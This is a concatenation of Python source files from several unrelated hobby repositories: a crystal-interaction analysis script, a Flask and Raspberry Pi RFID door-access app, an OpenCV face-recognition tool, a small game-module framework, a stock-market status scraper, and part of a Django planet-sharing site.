d1 = dists.shape[0] d2 = dists.shape[1] arange = np.arange(d2) atom1s = np.concatenate([[x]*d2 for x in range(d2)]*d1) atom2s = np.concatenate([np.roll(arange,-x) for x in range(d2)]*d1) ## Turn Atom Distances to DataFrame data_dict= {'mol1s':mol1s,'mol2s':mol2s,'atom1s':atom1s,'atom2s':atom2s,'dists':in_atom_order} atom_dist_df = pd.DataFrame(data_dict) atom_dist_df = atom_dist_df[atom_dist_df.mol1s != atom_dist_df.mol2s] # Looping through geometric relations doesnt take long so can use a nested for loop all_mols = [] for mol in acenes: all_mols.append(mol.centre_of_geometry()) all_mols = np.array(all_mols) cog_disps = [] cog_dists = [] cog_mol1s = [] cog_mol2s = [] interplanar_angles = [] unit_cell_disps = [] planes = [] ## Create a list of molecular planes for mol in crystal.molecules: planes.append(Plane(mol.get_backbone().atoms)) # plane created from acene backbone rather than all atoms of molecule ## Loop through all pairs of molecules for i, arr1 in enumerate(all_mols[:-1]): for j, arr2 in enumerate(all_mols[i+1:],i+1): interplanar_angles.append((planes[i].plane_angle(planes[j]))) cog_mol1s.append(i) cog_mol2s.append(j) disp = arr2 - arr1 unit_cell_disps.append(disp) dist = np.sqrt(disp.dot(disp)) cog_disps.append(disp) cog_dists.append(dist) ## Turn lists to arrays unit_cell_disps = np.array(unit_cell_disps) cog_dists = np.array(cog_dists) ## Create Molecule Geometry to DataFrame data_dict= {'mol1s':cog_mol1s,'mol2s':cog_mol2s, 'a':unit_cell_disps[:,0],'b':unit_cell_disps[:,1],'c':unit_cell_disps[:,2], 'dists':cog_dists,'interplanar_angles':interplanar_angles} df_cogs = np.round(pd.DataFrame(data_dict).set_index(['mol1s','mol2s']),3) # Calculate Interactions for atom pairs whose distance is less than 6A atom_contacts = [] red_df = atom_dist_df.loc[atom_dist_df.dists < 6] for idx in red_df.index: mol1_idx = red_df.at[idx,'mol1s'] mol2_idx = red_df.at[idx,'mol2s'] atom1_idx = red_df.at[idx,'atom1s'] atom2_idx = red_df.at[idx,'atom2s'] atom1 = crystal.molecules[mol1_idx].atoms[atom1_idx] atom2 = crystal.molecules[mol2_idx].atoms[atom2_idx] coords1 = atom1.coordinates coords2 = atom2.coordinates interaction = Interaction(atom1,atom2) disp = coords2 - coords1 atom_contact = {'mol1s':mol1_idx,'mol2s':mol2_idx,'atom1s':atom1_idx,'atom2s':atom2_idx, 'a':disp[0],'b':disp[1],'c':disp[2]} atom_contact.update(interaction.to_dict()) atom_contacts.append(atom_contact) ac_df = pd.DataFrame(atom_contacts).set_index(['mol1s','mol2s']) # sum atomic interactions for each molecular pair and add to geometric relations dataframe hbond_bond = pd.DataFrame(ac_df.groupby(ac_df.index)['hydrogen_bond'].sum()).set_index(ac_df.index.unique()) pi_pi_bond = pd.DataFrame(ac_df.groupby(ac_df.index)['pi_pi_bond'].sum()).set_index(ac_df.index.unique()) halogen_bond = pd.DataFrame(ac_df.groupby(ac_df.index)['halogen_bond'].sum()).set_index(ac_df.index.unique()) ch_pi_bond = pd.DataFrame(ac_df.groupby(ac_df.index)['ch_pi_bond'].sum()).set_index(ac_df.index.unique()) hydrophobic_bond = pd.DataFrame(ac_df.groupby(ac_df.index)['hydrophobic_cc_bond'].sum()).set_index(ac_df.index.unique()) vdw_contact = pd.DataFrame(ac_df.groupby(ac_df.index)['vdw_contact'].sum()).set_index(ac_df.index.unique()) fin_df = pd.concat([df_cogs,vdw_contact,hbond_bond,pi_pi_bond,halogen_bond,ch_pi_bond, hydrophobic_bond],axis=1) ac_df.to_csv(f'atom_interactions_central_molecule.csv',index=True) # Align interactions properly to remove double counting of indices double_counted = fin_df.loc[fin_df.index.get_level_values(0) > fin_df.index.get_level_values(1)] double_counted = double_counted[['vdw_contact','hydrogen_bond','pi_pi_bond','halogen_bond', 'ch_pi_bond','hydrophobic_cc_bond']] fin_df.drop(double_counted.index,axis=0,inplace=True) arrays = [double_counted.index.get_level_values(1),double_counted.index.get_level_values(0)] tuples = list(zip(*arrays)) double_counted.index = pd.MultiIndex.from_tuples(tuples, names=["mol1s", "mol2s"]) fin_df.loc[double_counted.index,double_counted.columns] = double_counted fin_df.to_csv(f'molecule_interactions_central_molecule.csv',index=True) # Draw crystal graph of central molecule g = create_crystal_graph_central(fin_df.reset_index(),consider_interactions='all') network_plot_3D(g, 0, save=False) # Draw the complete crystal graph g = create_crystal_graph(fin_df.reset_index(),consider_interactions='all') network_plot_3D(g, 0, save=False)
[ "/PYTHON/Atom.py", "/PYTHON/Bond.py", "/PYTHON/Crystal.py", "/PYTHON/Geometry.py", "/PYTHON/Interaction.py", "/PYTHON/Molecule.py", "/PYTHON/Viz.py", "/PYTHON/io.py", "/PYTHON/utils.py", "/example_script.py" ]
091labs/access-control
from flask import Flask from flask_login import LoginManager from flask_sqlalchemy import SQLAlchemy app = Flask(__name__) app.config.from_object('config') db = SQLAlchemy(app) login_manager = LoginManager() login_manager.init_app(app) login_manager.login_view = 'login' login_manager.login_message_category = 'warning' login_manager.needs_refresh_message_category = 'warning' from access import views --- FILE SEPARATOR --- ROLE_USER = 0 ROLE_ADMIN = 1 --- FILE SEPARATOR --- from flask_wtf import Form from wtforms.fields import TextField, BooleanField, PasswordField from wtforms.validators import Required, EqualTo class LoginForm(Form): email = TextField('email', validators=[Required()]) password = PasswordField('password', validators=[Required()]) remember_me = BooleanField('remember_me', default=False) class NewPasswordForm(Form): password = PasswordField('password', validators=[ Required(), EqualTo('confirm', message='Passwords must match') ]) confirm = PasswordField('confirm_password', validators=[Required()]) class NewKeyForm(Form): key_id = TextField('key_id', validators=[Required()]) class NewUserForm(Form): name = TextField('name', validators=[Required()]) email = TextField('email', validators=[Required()]) key_id = TextField('key_id', validators=[Required()]) --- FILE SEPARATOR --- import hashlib import uuid from access import db from access.constants import ROLE_USER, ROLE_ADMIN class User(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(128), unique=True, nullable=False) email = db.Column(db.String(128), unique=True, nullable=False) role = db.Column(db.SmallInteger, default=ROLE_USER) key_id = db.Column(db.Integer, unique=True) pw_hash = db.Column(db.String(128)) pw_salt = db.Column(db.String(32)) def __init__(self, name, email, key_id): self.name = name self.email = email self.key_id = key_id def make_admin(self, password): self.role = ROLE_ADMIN self.set_password(password) def set_password(self, password): self.pw_salt = uuid.uuid4().hex self.pw_hash = hashlib.sha512(password + self.pw_salt).hexdigest() def make_user(self): self.role = ROLE_USER self.pw_salt = None self.pw_hash = None def check_password(self, password): if self.role != ROLE_ADMIN: return False check_hash = hashlib.sha512(password + self.pw_salt).hexdigest() return check_hash == self.pw_hash def is_authenticated(self): return True def is_active(self): """ We're only allowing admins to login, that is only admins will be considered active. """ return self.role == ROLE_ADMIN def is_anonymous(self): return False def get_id(self): return unicode(self.id) def __repr__(self): return '<User %r>' % (self.email) --- FILE SEPARATOR --- from access import login_manager, app, db from access.constants import * from access.forms import LoginForm, NewPasswordForm, NewKeyForm, NewUserForm from access.models import User from flask import g, redirect, url_for, render_template, request, flash, abort from flask_login import login_required, current_user, login_user, logout_user @login_manager.user_loader def load_user(id): return User.query.get(int(id)) @app.before_request def before_request(): g.user = current_user @app.context_processor def inject_constants(): # this disgusts me... but it works return { 'ROLE_USER': ROLE_USER, 'ROLE_ADMIN': ROLE_ADMIN } @app.route('/') @app.route('/index') @login_required def index(): return redirect(url_for('users')) @app.route('/users') @login_required def users(): return render_template('users.html', title='Users', users=User.query.all(), user=current_user) @app.route('/users/change_password', methods=['GET', 'POST']) @login_required def change_password(): form = NewPasswordForm() user = current_user if form.validate_on_submit(): user.set_password(form.password.data) db.session.add(user) db.session.commit() flash('Password changed', 'success') return redirect(url_for('users')) return render_template('change_password.html', user=user, form=form) @app.route('/users/add', methods=['GET', 'POST']) @login_required def add_user(): form = NewUserForm() if form.validate_on_submit(): user = User(form.name.data, form.email.data, int(form.key_id.data)) db.session.add(user) db.session.commit() flash('%s (%s) added' % (user.name, user.email), 'success') return redirect(url_for('users')) return render_template('new_user.html', form=form) @app.route('/users/del/<int:id>') @login_required def del_user(id): user = User.query.get(id) if not user: abort(404) db.session.delete(user) db.session.commit() flash('%s removed' % user.email, 'success') return redirect(url_for('users')) @app.route('/users/update_key/<int:id>', methods=['GET', 'POST']) @login_required def update_key(id): form = NewKeyForm() user = User.query.get(id) if not user: abort(404) if form.validate_on_submit(): if user: user.key_id = int(form.key_id.data) db.session.add(user) db.session.commit() flash('Key (%d) set for %s' % (user.key_id, user.email), 'success') return redirect(url_for('users')) return render_template('new_key.html', user=user, form=form) @app.route('/users/make_admin/<int:id>', methods=['GET', 'POST']) @login_required def make_admin(id): form = NewPasswordForm() user = User.query.get(id) if not user: abort(404) if form.validate_on_submit(): if user: user.make_admin(form.password.data) db.session.add(user) db.session.commit() flash('%s is now an admin' % user.email, 'success') return redirect(url_for('users')) return render_template('new_admin.html', user=user, form=form) @app.route('/user/make_user/<int:id>') @login_required def make_user(id): user = User.query.get(id) if user: user.make_user() db.session.add(user) db.session.commit() flash('%s is no longer an admin' % user.email, 'info') return redirect(url_for('users')) @app.route('/login', methods=['GET', 'POST']) def login(): if g.user is not None and g.user.is_authenticated(): return redirect(url_for('index')) form = LoginForm() if form.validate_on_submit(): user = User.query.filter_by(email=form.email.data).first() if user: if user.check_password(form.password.data): login_user(user=user, remember=form.remember_me.data) flash('Logged in as %s' % user.email, 'success') return redirect(request.args.get('next') or url_for('index')) if user.role == ROLE_USER: flash('Only admins may log in', 'danger') return render_template('login.html', title='Sign in', form=form) @app.route('/logout') def logout(): logout_user() flash('Logged out', 'info') return redirect(url_for('index')) --- FILE SEPARATOR --- #!/usr/bin/env python import argparse from access import db from access.models import User parser = argparse.ArgumentParser() parser.add_argument("name", help="Name of member") parser.add_argument("email", help="Email address of member") parser.add_argument("key_id", help="RFID key code") args = parser.parse_args() print "Adding user %s <%s> = %d" % (args.name, args.email, int(args.key_id)) user = User(args.name, args.email, int(args.key_id)) db.session.add(user) db.session.commit() --- FILE SEPARATOR --- import os basedir = os.path.abspath(os.path.dirname(__file__)) SQLALCHEMY_DATABASE_URI = 'mysql://root:changeme@localhost/users' CSRF_ENABLED = True SECRET_KEY = 'changeme' --- FILE SEPARATOR --- #!/usr/bin/env python import RPi.GPIO as GPIO from time import sleep import sys import logging as log from access import db from access.models import User class RFidReader(object): GPIO_PIN_D0 = 17 GPIO_PIN_D1 = 22 GPIO_PIN_DOOR_RELEASE = 21 GPIO_PIN_SOLENOID = 23 def __init__(self): # Use the Broadcom numbering scheme GPIO.setmode(GPIO.BCM) GPIO.setup(self.GPIO_PIN_D0, GPIO.IN, GPIO.PUD_OFF) GPIO.setup(self.GPIO_PIN_D1, GPIO.IN, GPIO.PUD_OFF) GPIO.setup(self.GPIO_PIN_DOOR_RELEASE, GPIO.IN, GPIO.PUD_UP) GPIO.setup(self.GPIO_PIN_SOLENOID, GPIO.OUT) # Set high so we lock on powerup GPIO.output(self.GPIO_PIN_SOLENOID, True) self.number_string = "" self.awaiting_bit = True self.open_door = False def run(self, testfn): # Now, here we go. The trick here is to detect the pulses and the gaps # as we're polling the whole damned time. while True: d0, d1 = [GPIO.input(p) for p in [self.GPIO_PIN_D0, self.GPIO_PIN_D1]] # Check if the door release has been pressed... door_release_pressed = not GPIO.input(self.GPIO_PIN_DOOR_RELEASE) if door_release_pressed: log.debug("Door release pressed") self.open_door = True # If we're not waiting for a bit (i.e. waiting for both lines to # go low) and both lines go low, then mark us as ready to read a # bit if not self.awaiting_bit: if not d0 and not d1: self.awaiting_bit = True continue # If we get to here, it's assumed we're expecting a bit. if d0 != d1: # Sure sign we have a bit... if d1: self.number_string = self.number_string + "1" else: self.number_string = self.number_string + "0" self.awaiting_bit = False if len(self.number_string) == 26: # First and last bits are checksum bits, ignoring for now. # TODO: use them to check that the number is valid key_number = int(self.number_string[1:-1], 2) log.info("Read tag: %d" % key_number) if testfn(key_number): log.info("Key accepted") self.open_door = True else: log.info("Key not accepted") self.number_string = "" if self.open_door: log.debug("Maglock open") GPIO.output(self.GPIO_PIN_SOLENOID, False) sleep(2) log.debug("Maglock closed") GPIO.output(self.GPIO_PIN_SOLENOID, True) self.open_door = False def validate_key(key_id): user = User.query.filter_by(key_id=key_id).first() if user: return True return False if __name__ == "__main__": log.basicConfig(filename='/var/log/door.log', level=log.DEBUG, format='%(asctime)s %(message)s') log.debug("Startup") reader = RFidReader() while True: try: reader.run(validate_key) except Exception as e: log.exception(e) pass --- FILE SEPARATOR --- #!/usr/bin/env python from access import db db.create_all() --- FILE SEPARATOR --- #!/usr/bin/env python import os import sys import datetime import readline from exceptions import OSError DEVICE_I2C_ID = 0x68 # i2cdetect speaks hex, easier to keep # everything uniform. DEVICE_NAME = 'ds1307' """ RTC configuration script for DS1307/Raspberry Pi Automatically detects an installed DS1307 on either I2C bus and sets it up as the hardware RTC if that's not already been done. Domhnall Walsh, 091 Labs domhnall@091labs.com """ def shell_execute(command): """ Run a shell command and raise an exception if it doesn't work. """ import commands result_code, output = commands.getstatusoutput(command) # Make sure that the command actually ran successfully... if result_code != 0: raise RunTimeException( "Failed to execute command '%s' - code %s, message %r" % (command, result_code, output)) else: return output def enumerate_i2c_buses(): """ Return a list of the names of all the i2c buses known to i2cdetect. """ shell_command = 'i2cdetect -l' try: return [row.split('\t')[0] for row in shell_execute(shell_command).split('\n')] except OSError: return [] def scan_i2c_bus(id): """ Return a list of devices that are on the specified I2C bus. Returns a dictionary with the hardware addresses as keys (e.g. "0x68") and how i2cdetect detects them as their value - their address in hex if not already in use, or "UU" for unavailable. """ shell_command = 'i2cdetect -y %d' % id i2c_devices = {} try: results = shell_execute(shell_command).split('\n')[1:] except OSError: return [] for row in results: row_offset = int(row[:2], 16) # Addresses are all in hex... if row_offset == 0: row_index = 3 else: row_index = 0 row_data = [i.strip() for i in row[4:].strip().split(" ")] for value in row_data: address = hex(row_offset + row_index) if value != "--": # i2cdetect: "--" = no device at address i2c_devices[address] = value row_index += 1 return i2c_devices if __name__ == '__main__': # Make sure this program only runs as root. if not os.geteuid() == 0: sys.exit("\nOnly root can run this script\n") # Get the i2c bus IDs and extract the numerical portions from those. i2c_buses = enumerate_i2c_buses() i2c_bus_ids = [int(bus[-1]) for bus in i2c_buses] device_found = False for bus in i2c_buses: bus_id = int(bus.split('-')[-1]) device_addresses = scan_i2c_bus(bus_id) # Check if there's a device at the address specified. device_id_string = "%#x" % DEVICE_I2C_ID if device_id_string in device_addresses.keys(): device_found = True # Need to check if the device is in use or not... if device_addresses[device_id_string] == "UU": # Device is in use... print "Device at address %#x already in use/known to system, "\ "skipping setup." % DEVICE_I2C_ID else: print "%s found on I2C bus %s. Testing that we can read the " \ "clock..." % (DEVICE_NAME, bus) # Register RTC as hardware clock. shell_command = "echo %s 0x%d > " \ "/sys/class/i2c-adapter/%s/new_device" % \ (DEVICE_NAME, DEVICE_I2C_ID, bus) try: shell_execute(shell_command) print "Hardware RTC registered successfully. " \ "Checking time from RTC..." except OSError, e: sys.exit("\nFailed: %s\n" % e.message) if not device_found: sys.exit("\nFailed to find RTC module on I2C bus. Sorry.\n") # If we get to there, we have a clock. Let's check if we can read it... try: rtc_output = shell_execute('hwclock -r').split(" ")[0] # need to lose the error factor... # Tue 22 Jan 2013 13:36:34 GMT -0.073809 seconds rtc_output = output.split(" ")[0] # This removes the "... seconds" bit on the end rtc_time = datetime.datetime.strptime( rtc_output, "%a %d %b %Y %H:%M:%S %Z") print "RTC time is: %s" % rtc_time except OSError, e: sys.exit("\nFailed to read RTC. Got error: %s\n" % e.message) # Now get the time the system thinks it is... system_time = datetime.datetime.now() system_time.millis = 0 print "System time is: %s" % system_time # datetime.timedelta's behaviour when it comes to subtracting a larger # datetime from a smaller one is weird. This works though. delta = abs(rtc_time - system_time) print "Difference is %d seconds" % delta.seconds print "(To update the system clock from the RTC, " \ "run 'hwclock --hctosys' as root)" # TODO: Update /etc/rc.local if required to specify that the hardware clock # is installed. See for more: # http://learn.adafruit.com/adding-a-real-time-clock-to-raspberry-pi/set-rtc-time --- FILE SEPARATOR --- #!/usr/bin/env python import argparse import sys from access import db from access.models import User parser = argparse.ArgumentParser() parser.add_argument("email", help="Email of user to remove.") args = parser.parse_args() user = User.query.filter_by(email=args.email).first() if not user: print "User not found" sys.exit(1) print "Removing user %s <%s> = %d" % (user.name, user.email, user.key_id) db.session.delete(user) db.session.commit() --- FILE SEPARATOR --- #!/usr/bin/env python from access import app app.run(host='0.0.0.0') --- FILE SEPARATOR --- #!/usr/bin/env python from access.models import User print "Users enrolled:" for user in User.query.all(): print "%s <%s> = %d" % (user.name, user.email, user.key_id)
[ "/access/__init__.py", "/access/constants.py", "/access/forms.py", "/access/models.py", "/access/views.py", "/adduser.py", "/config.py", "/daemon.py", "/db_create.py", "/ds1307_autoconfigure.py", "/removeuser.py", "/run_flask.py", "/userlist.py" ]
097karimi/face-recognition-opencv-python
import cv2 as cv class FaceDetector: """The class can detect human face in the pictures or videos and save them as a picture in a folder which name is 'imagesdb'.""" def __init__(self, xml_file, idnum): self.detector = cv.CascadeClassifier(cv.data.haarcascades + xml_file) self.id_num = idnum def face_detector(self): counter = 0 cap = cv.VideoCapture(0) while cap.isOpened(): ret, frame = cap.read() gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY) faces = self.detector.detectMultiScale(gray, 1.3, 5) for (x, y, w, h) in faces: cv.rectangle(frame, (x, y), (x+w, y+h), (0, 0, 200), 2) counter = counter + 1 cv.imwrite( 'data/images_db/image.' + str(self.id_num) + '.' + str(counter) + ".jpg", gray[y:y + h, x:x + w]) cv.namedWindow("Face Recognition", cv.WINDOW_GUI_NORMAL) cv.imshow("Face Recognition", frame) if cv.waitKey(100) & 0xFF == ord('q'): break elif counter > 25: break else: print("\n\t\t-Turn the camera on!") cap.release() cv.destroyAllWindows() --- FILE SEPARATOR --- from detection.detection import FaceDetector from training.training import FaceTrainer from prediction.prediction import Predictor import os get_cwd = os.getcwd() while True: os.chdir(get_cwd) var_input = input( "\n" "******* Face Rcognition ******* \n\n" "This program has tree parts:\n\n" " 1- Press '1' to take some photos from the face.\n" " 2- Press '2' to train and generate 'yml'.\n" " 3- Press '3' to predict.\n\n" "Finally press '0' to exit !\n --> : \t") if (str(var_input) == '1'): id_num = input("Enter an ID") face_detector = FaceDetector('haarcascade_frontalface_default.xml', id_num) face_detector.face_detector() elif (str(var_input) == '2'): face_trainer = FaceTrainer('haarcascade_frontalface_default.xml') face_trainer.face_trainer() break elif (str(var_input) == '3'): face_predictor = Predictor('haarcascade_frontalface_default.xml') face_predictor.face_predictor() elif (str(var_input) == '0'): exit(0) else: print("-------------------" "\nChoose a number range from 0 to 3!") --- FILE SEPARATOR --- import cv2 as cv class Predictor: """This class can predict a human face which it has been already trained.""" def __init__(self, xml_file): self.recognizer = cv.face.LBPHFaceRecognizer_create() self.detector = cv.CascadeClassifier(cv.data.haarcascades + xml_file) def face_predictor(self): self.recognizer.read('training_data/training_data.yml') cap = cv.VideoCapture(0) font = cv.FONT_HERSHEY_SIMPLEX font_color = (255, 255, 255) while True: ret, frame = cap.read() gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY) faces = self.detector.detectMultiScale(gray, 1.2, 5) for (x, y, w, h) in faces: cv.rectangle(frame, (x, y), (x + w, y + h), (255, 0, 0), 2) id_num, conf = self.recognizer.predict(gray[y:y + h, x:x + w]) if conf < 50: cv.putText(frame, str(id_num), (x, y + h), font, 1, font_color) else: cv.putText(frame, "Unknown", (x, y + h), font, 1, font_color) cv.namedWindow("Face Recognition", cv.WINDOW_GUI_NORMAL) cv.imshow('Face Recognition', frame) if cv.waitKey(10) & 0xFF == ord('q'): break cv.destroyAllWindows() --- FILE SEPARATOR --- import cv2 as cv from PIL import Image import numpy as np import os class FaceTrainer: """This class can train a human face and save it in a yml file. """ def __init__(self, xml_file): self.detector = cv.CascadeClassifier(cv.data.haarcascades + xml_file) self.recognizer = cv.face.LBPHFaceRecognizer_create() def face_trainer(self): img_faces = [] img_ids = [] os.chdir("data/images_db") img_paths = [os.path.join(os.getcwd(), files) for files in os.listdir(os.getcwd())] for img_path in img_paths: img_face_pil = Image.open(img_path).convert('L') img_face_np = np.array(img_face_pil, dtype="uint8") img_id = int(os.path.split(img_path)[-1].split(".")[1]) faces = self.detector.detectMultiScale(img_face_np) for (x, y, w, h) in faces: img_faces.append(img_face_np[y:y+h, x:x+w]) img_ids.append(img_id) self.recognizer.train(img_faces, np.array(img_ids)) os.chdir("../../training_data") self.recognizer.write('training_data.yml')
[ "/detection/detection.py", "/main.py", "/prediction/prediction.py", "/training/training.py" ]
0996736Ilias/L1_P1
from component import Component from screen import Screen class App(Component): # Globals # ========================================================== # Whether development mode should be enabled. # Development mode add debugging tools devMode = False # All registered module objects modules = [] # All registered screens handle -> instance screens = {} # Current screen currentScreen = None # Functions # ========================================================== # Returns a Screen by its handle def getScreen(self, handle): return self.screens[handle] # Returns the currently active screen def getCurrentScreen(self): return self.currentScreen # Sets the current screen def setCurrentScreen(self, screen): self.currentScreen = screen # Registers a module and its sub-modules. # Also returns the instance of the newly created module. def registerModule(self, module, config): config['app'] = self # Create and register module instance = module(config) self.modules.append(instance) # Add to screens if its a Screen if isinstance(instance, Screen): self.screens[instance.getHandle()] = instance # Register sub-modules for subModule in instance.getSubModules(): subModule[1]['parent'] = instance self.registerModule(subModule[0], subModule[1]) # Print message if devMode is enabled if self.devMode: print('Registered module: ' + str(instance)) return instance --- FILE SEPARATOR --- from screen import Screen from score import Score class GameScreen(Screen): def getHandle(self): return 'game' def draw(self): background(0, 255, 0) fill(11, 60, 73) text('playerCount: ' + str(self.playerCount), 15, 15) def getSubModules(self): return [ [Score, {}] ] --- FILE SEPARATOR --- from component import Component class Module(Component): # Main app object app = None # The parent module of this module. # This attribute will be set automatically. parent = None # Returns whether this module and its # potential parent is active. def getIsActive(self): parent = self.parent # Return false if the parent is disabled if parent != None and not parent.getIsActive(): return False # Return own active state return self.isActive() # Optional functions # ========================================================== # Override this to decide whether the module is active. # Disabled modules won't be visible/interactive. def isActive(self): return True # Override this to provide a list of child (sub) modules. # Keep in mind that these will be inactive if their parent is. def getSubModules(self): return [] # Called on draw def draw(self): pass # Called on mousePressed def mousePressed(self): pass # Called on keyPressed def keyPressed(self): pass # Called on keyReleased def keyReleased(self): pass --- FILE SEPARATOR --- from start_screen import StartScreen from game_screen import GameScreen modules = [ [ StartScreen, { } ], [ GameScreen, { 'playerCount': 4, 'direction': True } ] ] --- FILE SEPARATOR --- from module import Module class Score(Module): def draw(self): text('test 2', 100, 100) --- FILE SEPARATOR --- from screen import Screen class StartScreen(Screen): def getHandle(self): return 'start' def isDefault(self): return True def draw(self): background(0, 0, 255) def keyPressed(self): if keyCode == 10: gameScreen = self.app.getScreen('game') self.app.setCurrentScreen(gameScreen)
[ "/app.py", "/game_screen.py", "/module.py", "/modules.py", "/score.py", "/start_screen.py" ]
09981152473/tsetmc_state
MAIN_URL = "http://www.tsetmc.ir/Loader.aspx?ParTree=15" --- FILE SEPARATOR --- import requests as rq from bs4 import BeautifulSoup from tsetmc_state.constants import MAIN_URL class market: def state(): html_data=rq.get(MAIN_URL, timeout=5).text soup = BeautifulSoup(html_data, 'html.parser') #'html5lib' ) col = soup.find('tr').find_all('td') if col and len(col)==2: return col[1].get_text().strip() else: return "نامشخص" # by: mehrdad seyfi # www.mrseyfi.ir # 2020-9-2
[ "/tsetmc_state/constants.py", "/tsetmc_state/market_state.py" ]
09ubberboy90/WadThePlanet
from django.contrib import admin from django.contrib.auth.admin import UserAdmin from planet.models import Planet, PlanetUser, SolarSystem, Comment #from planet.forms import CustomUserCreationForm # Register your models here. admin.site.register(PlanetUser) admin.site.register(Planet) admin.site.register(SolarSystem) admin.site.register(Comment) --- FILE SEPARATOR --- import random from PIL import Image, ImageDraw from django import forms from django.forms import ModelForm from planet.models import * from crispy_forms.helper import FormHelper from crispy_forms.layout import * from crispy_forms.bootstrap import FormActions from django.core.exceptions import ValidationError class RegistrationForm(forms.ModelForm): username = forms.CharField( label='Username', min_length=6, max_length=32, validators=[name_validator], help_text=('Required. 32 characters or fewer. Letters and digits only. Excludes some reserved words.')) password_copy = forms.CharField( label='Confirm password', min_length=6, max_length=128, widget=forms.PasswordInput) def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.helper = FormHelper() self.helper.layout = Layout( Field('username', css_class="input_field"), Field('email', css_class="input_field"), Field('password', css_class="input_field"), Field('password_copy', css_class="input_field"), Field('avatar'), ButtonHolder( Submit('submit', 'Submit', css_class='button white') ) ) self.helper['password'].update_attributes(min_length=6) def clean_username(self): username = self.cleaned_data['username'].lower() r = PlanetUser.objects.filter(username=username) if r.count(): raise ValidationError("Username already exists") return username def clean_email(self): email = self.cleaned_data['email'].lower() r = PlanetUser.objects.filter(email=email) if r.count(): raise ValidationError("Email already exists") return email def clean_password_copy(self): password = self.cleaned_data.get('password') password_copy = self.cleaned_data.get('password_copy') if password and password_copy and password != password_copy: raise ValidationError("Password don't match") return password_copy def save(self, commit=True): user = PlanetUser.objects.create_user( self.cleaned_data['username'], email=self.cleaned_data['email'], password=self.cleaned_data['password'], avatar=self.cleaned_data['avatar'] ) return user class Meta: model = PlanetUser fields = ['email', 'avatar', 'password'] widgets = { 'password': forms.PasswordInput, } class LeaderboardForm(forms.Form): sort = [('score', 'Likes'), ('id', 'New'), ('name', 'Alphabetical')] choice = forms.ChoiceField(choices=sort,label='') def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.helper = FormHelper() class LoggingForm(forms.Form): username = forms.CharField( label='Username', min_length=6, max_length=32) password = forms.CharField( label='Password', min_length=6, max_length=128, widget=forms.PasswordInput) def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.helper = FormHelper() self.helper.layout = Layout( 'username', 'password', ButtonHolder( Submit('submit', 'Submit', css_class='button white') ) ) def clean_username(self): username = self.cleaned_data.get('username').lower() return username def clean_password(self): password = self.cleaned_data.get('password') return password class CommentForm(forms.ModelForm): class Meta: model = Comment fields = ['comment', 'rating'] def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.helper = FormHelper() self.helper.layout = Layout( Row( Field('comment', id='comment', wrapper_class='col-8'), Field('rating', id='rating', wrapper_class='col-2'), ButtonHolder( Submit('send', 'Send', id='send', css_class='btn-sm'), css_class='send-btn-container col-2 pb-3 align-self-end', ), ) ) def save(self,username,planet, commit=False): comment, created = Comment.objects.update_or_create( user=username, planet=planet, defaults={ 'comment':self.cleaned_data['comment'], 'rating':self.cleaned_data['rating']} ) print(created) return comment class SolarSystemForm(forms.ModelForm): name = forms.CharField(min_length=6, max_length=50, help_text="Name of the SolarSystem: ") description = forms.CharField(max_length=160, help_text="Description of the SolarSystem") visibility = forms.BooleanField(label='Make public', required=False, initial=True) #visibility = forms.BooleanField(initial = True) class Meta: model = SolarSystem fields = ['name', 'description', 'visibility'] def __init__(self, *args, **kwargs): super(SolarSystemForm, self).__init__(*args, **kwargs) self.helper = FormHelper() self.helper.layout = Layout( Field('name', css_class="input_field"), Field('description', css_class="input_field"), Field('visibility'), ButtonHolder( Submit('submit', 'Submit', css_class='button white') ) ) class PlanetForm(forms.ModelForm): name = forms.CharField(min_length=6, max_length=50, help_text="Name of the Planet: ") visibility = forms.BooleanField(label='Make public', required=False, initial=True) class Meta: model = Planet fields = ['name', 'visibility'] def __init__(self, *args, **kwargs): super(PlanetForm, self).__init__(*args, **kwargs) self.helper = FormHelper() self.helper.layout = Layout( Field('name', css_class="input_field"), Field('visibility'), ButtonHolder( Submit('submit', 'Submit', css_class='button white') ) ) def generate_texture(self, name): img = Image.new('RGB', (2048, 2048), ( random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))) self_path=os.path.dirname(os.path.abspath(os.path.join(__file__, '..'))) rel_dest_path = os.path.join('planets', name + '.jpg') # Relative to /media abs_dest_path = os.path.join(self_path, 'media', rel_dest_path) img.save(abs_dest_path, 'JPEG') return rel_dest_path class EditUserForm(forms.Form): username = forms.CharField(label='Change username', min_length=6, max_length=32, validators=[name_validator], help_text=( 'Required. 32 characters or fewer. Letters and digits only. Excludes some reserved words.'), required=False) password = forms.CharField(label='Change password', min_length=6, max_length=128, widget=forms.PasswordInput, required=False) password_copy = forms.CharField(label='Confirm changed password', min_length=6, max_length=128, widget=forms.PasswordInput, required=False) avatar = forms.ImageField(label='Change avatar', required=False) def __init__(self, *args, user_id, **kwargs): super().__init__(*args, **kwargs) self.helper = FormHelper() self.helper.layout = Layout( Field('username'), Field('password'), Field('password_copy'), Field('avatar'), ButtonHolder( Submit('submit', 'Edit', css_class='button white') ) ) self.helper['password'].update_attributes(min_length=6) self.user_id = user_id def clean_username(self): username = self.cleaned_data['username'].lower() existing_user = PlanetUser.objects.filter(username=username) if existing_user.count() > 0 and existing_user[0].id != self.user_id: # Trying to rename a user to another user that already exists raise ValidationError("Username already exists") return username def clean_password_copy(self): return RegistrationForm.clean_password_copy(self) def save(self, commit=False): print(self.user_id) user = PlanetUser.objects.get(id = self.user_id) if self.cleaned_data['username']: user.username = self.cleaned_data['username'] if self.cleaned_data['password']: # NOTE: If you don't set_password, it gets saved as plaintext!! user.set_password(self.cleaned_data['password']) if self.cleaned_data['avatar']: user.avatar = self.cleaned_data['avatar'] return user --- FILE SEPARATOR --- import logging import os import PIL from django.db import models from django.contrib.auth.models import AbstractUser, UserManager from django.contrib.auth.validators import ASCIIUsernameValidator from WadThePlanet import settings from django.contrib.auth.models import User from django.core.validators import RegexValidator import re from django.core.exceptions import ValidationError from django.dispatch import receiver # ======================== Utilities =========================================== logger = logging.getLogger(__name__) DISALLOWED_NAMES = ['admin', 'about', 'contact', 'login', 'logout', 'register', 'search', 'leaderboard'] 